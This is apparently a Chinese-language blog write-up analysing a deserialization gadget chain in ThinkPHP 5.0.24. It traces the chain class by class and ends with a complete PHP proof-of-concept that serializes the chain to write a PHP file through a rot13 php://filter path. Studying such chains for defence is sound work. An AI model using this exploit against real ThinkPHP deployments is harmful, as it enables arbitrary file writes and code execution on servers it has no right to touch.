Thinkphp 5.0.x 反序列化简析
修改application/index/controller/Index.php内容
- TP 5.0.24 & PHP 5.6.40
修改application/index/controller/Index.php内容
<?phpnamespace app\index\controller;
highlight_file(__FILE__);
class Index{ public function index($input='') { echo "Welcome thinkphp 5.0.24"; echo $input; unserialize($input); }}简析
__destruct
这里和5.1.37那篇文章开头有点像,只有\think\process\pipes\Windows::__destruct中多使用了一个 removeFiles 方法,跟进后,可见调用 file_exists,通过注释可见参数类型为 string,这样会调用$filename -> __toString()

利用点
可以看到 Collection、Model 是调用了其下的 toJson 方法

在\think\Collection::toArray中,可以看到也是需要利用 Model 类

所以我们直接看\think\Model::toArray即可,在追加属性阶段,有三个地方可能能利用__call
- 需要控制传入 name 来控制 key 及 attr,同时目标 __call 能解析数组参数
- 需要目标类下 __call 或 getBindAttr 有良好的利用条件
- 需要控制传入 attr,同时目标类下 __call 有良好的利用条件

文章中利用第三个点,继续分析
如何到达利用点
想要到达利用点,需要我们梳理中间的逻辑流程
$this->append不为空$name不为数组,不存在.,且为当前类中方法名- 通过
$this->$$name()控制$modelRelation从而控制参数$attr,可以看到getError是最合适的

- 通过
$this->getRelationData控制目标类$value
同时为了方便控制目标类$value,在 getRelationData 时尽量控制第一个 if 逻辑直接返回$this->parent

Gadget
现在我们首先需要确定目标类,参数类
modelRelation
根据上面 getRelationData 中的逻辑判断,需要控制
$modelRelation->isSelfRelation == false$modelRelation->getModel == 目标类
注意还需要3. $modelRelation->getBindAttr()可控
根据第一个条件,我们查询继承 Relation 的类,同时由于 Relation 实现了 getModel 方法并可控,忽略第二个条件

根据第三个条件,可以看到只有\think\model\relation\OneToOne::getBindAttr实现,其他的类既没有自身实现,同时也没有被继承实现

但由于它本身是一个接口类,我们需要利用其子类BelongsTo或HasOne

有人会说:可否利用 else 中的逻辑判断控制返回值?
通过搜寻,发现可以创建一个 Model 专门用于返回目标类,但是注意由于Model没有实现getBindAttr不满足条件三,且子类均也未实现此方法,所以是不可行的;而其他的类在控制返回目标类时候就很累了

目标类
现在我们能确定modelRelation后,我们现在需要做的是找到一个目标类,再确定如何进一步利用,通过搜寻__call,粗略看到疑似能利用的有Request和Output

但实际上,在5.0.24版本中,\think\Request::__call里self::$hook是无法利用的

所以能利用的只有 Output,由于传入的$mothod=='getAttr',所以这里利用 block 函数较好

而在block 函数中,可以看到最终会调用$this->handle下的 write 函数

write 利用
我们全局搜索下 write 函数的实现,同时注意到PHP 会自动忽略传输中多出来的参数
疑似可利用的类有三个,实现上都是$this->handler->set(...)

所以我们还要全局搜索下 set 函数的实现,以下两个类最终都实现了file_put_contents写文件

但是注意到\think\cache\driver\Lite::set中写入时被嵌入在 php 环境中且被引号包裹,无法实现利用

![]()
所以能利用的也只有\think\cache\driver\File::set

另外注意到,其实不是一次性调用set -> file_put_contents实现的写入,而是在$this->setTagItem中由没有缓存,导致将 filename 作为新的内容进行二次写入

POP Chain
直接上人家的图,文章链接在参考资料中

POC
文件名生成规则
$this->tag = 'sari3l'print('<?cuc cucvasb();?>' . md5('tag_' . md5($this->tag)));POC
<?phpnamespace think\cache\driver;class File{ protected $options = [ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => '',// 'path' => './sari3l/', 'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>', 'data_compress' => false, ]; protected $tag='sari3l';}
namespace think\session\driver;use think\cache\driver\File;class Memcached{ protected $handler;
function __construct() { $this->handler = new File(); }}
namespace think\console;use think\session\driver\Memcached;class Output{ private $handle; protected $styles;
function __construct() { $this->handle = new Memcached(); $this->styles = ['getAttr']; }}
namespace think\db;use think\console\Output;
class Query { protected $model;
public function __construct() { $this->model = new Output(); }}
namespace think\model\relation;use think\db\Query;
class HasOne { protected $query; protected $bindAttr = [];
public function __construct() { $this->query = new Query(); $this->bindAttr = ["sari3l" => "test"]; }}
namespace think;use think\console\Output;use think\model\relation\HasOne;abstract class Model { protected $append = []; protected $data = []; protected $error; public $parent;
public function __construct() { $this->append = ["sari3l" => "getError"]; $this->error = new HasOne(); $this->parent = new Output(); }}
namespace think\model;use think\Model;class Pivot extends Model {}
namespace think\process\pipes;use think\model\Pivot;class Windows { private $files = [];
public function __construct() { $this->files=[new Pivot()]; }}
echo urlencode(serialize(new Windows()));注意
parent 修饰词
不同 TP 版本中,对于$parent修饰词不同,所以初始化覆盖时需要注意以子类为主

filename
既然要出现<当然是只能 Linux 环境了